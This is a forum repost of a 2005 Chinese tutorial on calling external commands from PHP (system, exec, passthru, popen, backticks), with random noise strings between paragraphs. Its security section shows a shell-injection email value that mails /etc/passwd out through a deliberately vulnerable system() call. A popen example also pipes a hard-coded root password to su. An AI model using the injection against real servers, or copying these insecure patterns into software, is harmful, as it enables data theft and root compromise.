数学建模社区-数学中国

标题: 在PHP中执行系统外部命令 [打印本页]

作者: 韩冰    时间: 2005-1-16 11:34
标题: 在PHP中执行系统外部命令

作者:Fluke 中文PHP论坛

2 K, a* @0 v! U. \! F7 Z

  PHP作为一种服务器端的脚本语言,象编写简单,或者是复杂的动态网页这样的任务,它完全能够胜任。但事情不总是如此,有时为了实现某个功能,必须借助于操作系统的外部程序(或者称之为命令),这样可以做到事半功倍。

/ I; b6 f9 d1 ^2 m3 ]2 S, V5 |

  那么,是否可以在PHP脚本中调用外部命令呢?如果能,如何去做呢?有些什么方面的顾虑呢?相信你看了本文后,肯定能够回答这些问题了。

$ h; m% ~( \ R4 A

  是否可以?

* B% @. ^" E" u7 X

  答案是肯定的。PHP和其它的程序设计语言一样,完全可以在程序内调用外部命令,并且是很简单的:只要用一个或几个函数即可。

$ v. D0 C+ d3 }7 d; z/ ? ]

  前提条件

2 j8 S+ v3 |$ @; z

  由于PHP基本是用于WEB程序开发的,所以安全性成了人们考虑的一个重要方面。于是PHP的设计者们给PHP加了一个门:安全模式。如果运行在安全模式下,那么PHP脚本中将受到如下四个方面的限制:

+ i5 v" D; I! a) ~2 M7 G! D: s, _

  执行外部命令

9 p' V7 Y' l& X* B: b4 S5 S2 O/ s

  在打开文件时有些限制

6 p/ U9 c3 D; ~5 }% U

  连接MySQL数据库

0 R; l+ Y' D: s8 _/ D

  基于HTTP的认证

% O; J$ X/ Y' V( }) m; K

  在安全模式下,只有在特定目录中的外部程序才可以被执行,对其它程序的调用将被拒绝。这个目录可以在php.ini文件中用safe_mode_exec_dir指令,或在编译PHP是加上--with-exec-dir选项来指定,默认是/usr/local/php/bin。

- K! ?$ c: v4 G; {

  如果你调用一个应该可以输出结果的外部命令(意思是PHP脚本没有错误),得到的却是一片空白,那么很可能你的网管已经把PHP运行在安全模式下了。

' w$ u) P: q+ U

  如何做?

/ ~& E2 G, U0 u0 r. y5 h$ V

  在PHP中调用外部命令,可以用如下三种方法来实现:

7 e6 n/ Y s2 Z

  1) 用PHP提供的专门函数

5 b M$ \% N2 M

  PHP提供共了3个专门的执行外部命令的函数:system(),exec(),passthru()。

1 A# I$ C# i; X: i5 X! s

  system()

& }1 J; T- ~7 u$ j- i6 e. q

  原型:string system (string command [, int return_var])

+ z; @8 u7 C4 s, d

  system()函数很其它语言中的差不多,它执行给定的命令,输出和返回结果。第二个参数是可选的,用来得到命令执行后的状态码。

. U' P7 ~4 B' J2 C# z1 p6 ^* E

  例子:

( \# m% ?# W9 s5 O8 y3 o3 H0 ^; c

  <?

$ U+ n! }' l0 U. B. R/ G

  system("/usr/local/bin/webalizer/webalizer");

% i2 s: h6 T i% O6 [

  ?>

" X L3 w; M' q( `

  exec()

( U% E$ h/ B2 z+ @$ r# n

  原型:string exec (string command [, string array [, int return_var]])

% X0 ~: \% R) k v

  exec()函数与system()类似,也执行给定的命令,但不输出结果,而是返回结果的最后一行。虽然它只返回命令结果的最后一行,但用第二个参数array可以得到完整的结果,方法是把结果逐行追加到array的结尾处。所以如果array不是空的,在调用之前最好用unset()最它清掉。只有指定了第二个参数时,才可以用第三个参数,用来取得命令执行的状态码。

% ?0 y0 h1 V$ w

  例子:

3 w$ {1 a' I+ K3 W8 R. A! \- x- @- O

  <?

& A# ?+ H1 U. @. m5 j) h

  exec("/bin/ls -l");

8 [# H7 ]- p( c' ]2 ?

  exec("/bin/ls -l", $res);

% ?# h1 X& g( I4 e

  #$res是一个数据,每个元素代表结果的一行

4 A4 K& |! U! q2 J. [

  exec("/bin/ls -l", $res, $rc);

. V; i* h1 J+ A* N1 ?

  #$rc的值是命令/bin/ls -l的状态码。成功的情况下通常是0

/ D. {- v8 A" s2 v

  ?>

4 c5 H8 t/ I) T

  passthru()

) ~! R2 A6 l& X6 ?+ U: A3 m

  原型:void passthru (string command [, int return_var])

1 N; p6 O8 y7 u1 Y* p3 {

  passthru()只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上。所以passthru()函数经常用来调用象pbmplus(Unix下的一个处理图片的工具,输出二进制的原始图片的流)这样的程序。同样它也可以得到命令执行的状态码。

T5 P1 P) i0 N2 r% Z3 o3 _

  例子:

- b/ R; }8 v: F9 _9 U- b

  <?

) m8 M( x( b" \

  header("Content-type: image/gif");

: s0 ~* z7 R) }/ b! ?( q! t3 \3 h! W( K

  passthru("./ppmtogif hunte.ppm");

0 f$ {$ o9 S8 t5 e8 _: U( b4 \

  ?>

9 A/ D4 l: M6 e5 t) u" i0 s7 X

  2) 用popen()函数打开进程

2 g; k- v# u0 b# \ j

  上面的方法只能简单地执行命令,却不能与命令交互。但有些时候必须向命令输入一些东西,如在增加Linux的系统用户时,要调用su来把当前用户换到root才行,而su命令必须要在命令行上输入root的密码。这种情况下,用上面提到的方法显然是不行的。

6 j! P( ^4 T) p/ ^! p& F

  popen()函数打开一个进程管道来执行给定的命令,返回一个文件句柄。既然返回的是一个文件句柄,那么就可以对它读和写了。在PHP3中,对这种句柄只能做单一的操作模式,要么写,要么读;从PHP4开始,可以同时读和写了。除非这个句柄是以一种模式(读或写)打开的,否则必须调用pclose()函数来关闭它。

$ v0 z. _( d8 y3 y+ }

  例子1:

* _0 e& v& |9 y! A( }( t

  <?

, {7 [) O/ [% `0 _$ o

  $fp=popen("/bin/ls -l", "r");

7 ]' z5 }, _. f: } p/ p

  ?>

4 g2 }, u+ Z: q

  例子2(本例来自PHP中国联盟网站http://www.phpx.com/show.php?d=col&i=51):

$ E( g7 i) u1 ^1 O7 b3 _* E

  <?

+ F8 z- D- a3 T7 K. ?

  /* PHP中如何增加一个系统用户

% X8 x0 a3 C( c0 z' q4 W" W$ L. J

  下面是一段例程,增加一个名字为james的用户,

! P/ x/ ^; ~+ o9 L5 V" ^3 Q

  root密码是 verygood。仅供参考

4 e# w7 p/ O9 f8 F H

  */

( @1 b; ?8 f) @% t. [& h

  $sucommand = "su --login root --command";

9 S, m K5 g/ X9 S; n

  $useradd = "useradd ";

5 k" n0 b8 W% A3 m2 |7 Q9 @: H" O2 U! y

  $rootpasswd = "verygood";

% o2 q) F+ |* `$ H( P9 S5 c

  $user = "james";

, H4 P4 h) L3 a) i4 H5 t- f2 m

  $user_add = sprintf("%s "%s %s"",$sucommand,$useradd,$user);

5 _5 K% k! z1 P5 q& \$ I/ E

  $fp = @popen($user_add,"w");

8 \) f& w8 X( _+ K4 C; S. K

  @fputs($fp,$rootpasswd);

Y V) |$ ?: ]+ J% ?6 K9 F/ B+ O5 J7 p

  @pclose($fp);

1 F/ M. i) x/ o% h) A% L! b8 }" C

  ?>

: }+ Z" p3 r/ `0 g2 l

  3) 用反撇号(`,也就是键盘上ESC键下面的那个,和~在同一个上面)

& p- J2 N- O6 y) u2 e

  这个方法以前没有归入PHP的文档,是作为一个秘技存在的。方法很简单,用两个反撇号把要执行的命令括起来作为一个表达式,这个表达式的值就是命令执行的结果。如:

# V0 q1 a& q) l- a2 L: R

  <?

1 R/ [( P* b4 P8 ^4 ^2 P9 p+ _

  $res=`/bin/ls -l`;

6 t* `; ~5 |- _, x. C& u+ y

  echo '<b><pre>'.$res.'</pre></b>';

/ a9 F& ]( f9 q( _: _

  ?>

% o& P% ~$ g! k* v

  这个脚本的输出就象:

4 t: Z! M0 }( t. R9 {& t8 Q' S0 J

  hunte.gif

/ L/ ~8 x; j+ ~" X

  hunte.ppm

$ R$ s0 x* Y. |% }

  jpg.htm

$ Y( x* B/ H: |: `; ?

  jpg.jpg

1 n X3 p3 X* l, ^. X

  passthru.php

" u- o0 U& `# u- X" u' K

  要考虑些什么?

* u! t& J2 v* Y

  要考虑两个问题:安全性和超时。

" m, q E) B( Y$ `9 F* \

  先看安全性。比如,你有一家小型的网上商店,所以可以出售的产品列表放在一个文件中。你编写了一个有表单的HTML文件,让你的用户输入他们的EMAIL地址,然后把这个产品列表发给他们。假设你没有使用PHP的mail()函数(或者从未听说过),你就调用Linux/Unix系统的mail程序来发送这个文件。程序就象这样:

- `2 p# N9 b5 }" p! Q+ s/ Z

  <?

% p9 n. c' m/ [) }9 y, j2 R* \ e

  system("mail $to < products.txt");

2 T( U5 t$ X8 {/ j3 j

  echo "我们的产品目录已经发送到你的信箱:$to";

* _: w4 R- p3 N& u1 h

  ?>

' Y: }4 s+ {2 W" A2 z

  用这段代码,一般的用户不会产生什么危险,但实际上存在着非常大的安全漏洞。如果有个恶意的用户输入了这样一个EMAIL地址:

. t8 L) A7 |. N" E/ ~# j- k

  '--bla ; mail someone@domain.com < /etc/passwd ;'

" D) A4 ~7 X- n7 A

  那么这条命令最终变成:

; y7 B) r6 T/ S7 o6 c% K

  'mail --bla ; mail someone@domain.com < /etc/passwd ; < products.txt'

! ]2 [1 W6 v3 P- ]. C) _, @

  我相信,无论哪个网络管理人员见到这样的命令,都会吓出一身冷汗来。

1 J8 _7 e" [! c5 R: ^1 U

  幸好,PHP为我们提供了两个函数:EscapeShellCmd()和EscapeShellArg()。函数EscapeShellCmd把一个字符串中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell中是有特殊含义的,象分号(),重定向(>)和从文件读入(<)等。函数EscapeShellArg是用来处理命令的参数的。它在给定的字符串两边加上单引号,并把字符串中的单引号转义,这样这个字符串就可以安全地作为命令的参数。

3 ?: k ~! z9 a9 N% [

  再来看看超时问题。如果要执行的命令要花费很长的时间,那么应该把这个命令放到系统的后台去运行。但在默认情况下,象system()等函数要等到这个命令运行完才返回(实际上是要等命令的输出结果),这肯定会引起PHP脚本的超时。解决的办法是把命令的输出重定向到另外一个文件或流中,如:

+ H, p9 l% S* l1 h$ L

  <?! j; f$ z) A* E7 s; {: y+ N$ N! E4 g   system("/usr/local/bin/order_proc > /tmp/null &");2 h+ S" {* M9 x. C6 Q   ?># |6 D& t ]3 v






欢迎光临 数学建模社区-数学中国 (http://www.madio.net/) Powered by Discuz! X2.5